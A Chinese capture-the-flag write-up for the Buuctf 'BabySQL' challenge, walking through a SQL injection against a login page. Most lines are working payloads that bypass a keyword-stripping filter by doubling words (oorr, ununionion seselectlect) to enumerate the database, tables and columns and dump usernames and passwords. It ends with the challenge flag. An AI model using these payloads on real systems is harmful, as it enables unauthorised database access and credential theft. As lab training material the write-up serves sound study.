【Buuctf】[极客大挑战 2019]BabySQL WriteUp
题目
解题
一.尝试万能钥匙登录
admin' or 1='1

发现报错只留下了1='1,说明有admin这个账户,而且过滤掉了or。
二.测试能否联合查询
admin' union select 1,2,3#

把union和select都过滤了。
三.尝试绕过过滤
试试看大小写。
admin' OR 1='1

无效。
再试试看双写。
admin' oorr 1='1

成功登录,那么后台使用的是replace()将关键词置换成空。
四.爆字段
admin' oorrderder bbyy 100%23

看来没有过滤order,二分法找字段。
admin' oorrder bbyy 3%23

字段是3。
五.看回显
1' ununionion seselectlect 1,2,3 %23

两个回显点。
六.爆库
1' ununionion seselectlect 1,2,database() %23

库名:geek。
七.爆表
1' ununionion seselectlect 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek' %23

报错,细看发现information的or没了。
1' ununionion seselectlect 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='geek' %23

还是报错,是.tables之前某个地方断开了,检查from。
1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables where table_schema='geek' %23

这回是断在=之前,检查where。
1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek' %23

成功。表是b4bsql,geekuser。
八.爆字段
1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema='b4bsql' %23
1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema='geekuser'%23

很神奇的事情,两个都是啥也没有,但是换成2字段查会报错,如果换成
1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema='geek'%23

说明两个表里面都有id,username,password。
这里就要这样查。(and也会被过滤,要双写,根据上一题的经验,先查b4bsql。)
1' uniunionon selselectect 1,2,group_concat(column_name) frfromrom infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name='b4bsql'%23

九.爆内容
1' uniunionon selselectect 1,2,group_concat(id,username,password) frfromom b4bsql%23

惨password里面也有or
1' uniunionon selselectect 1,2,group_concat(id,username,passwoorrd) frfromom b4bsql%23

flag:flag{a8b03a0a-997e-4c6a-a807-7a651dc16a6a}

浙公网安备 33010602011771号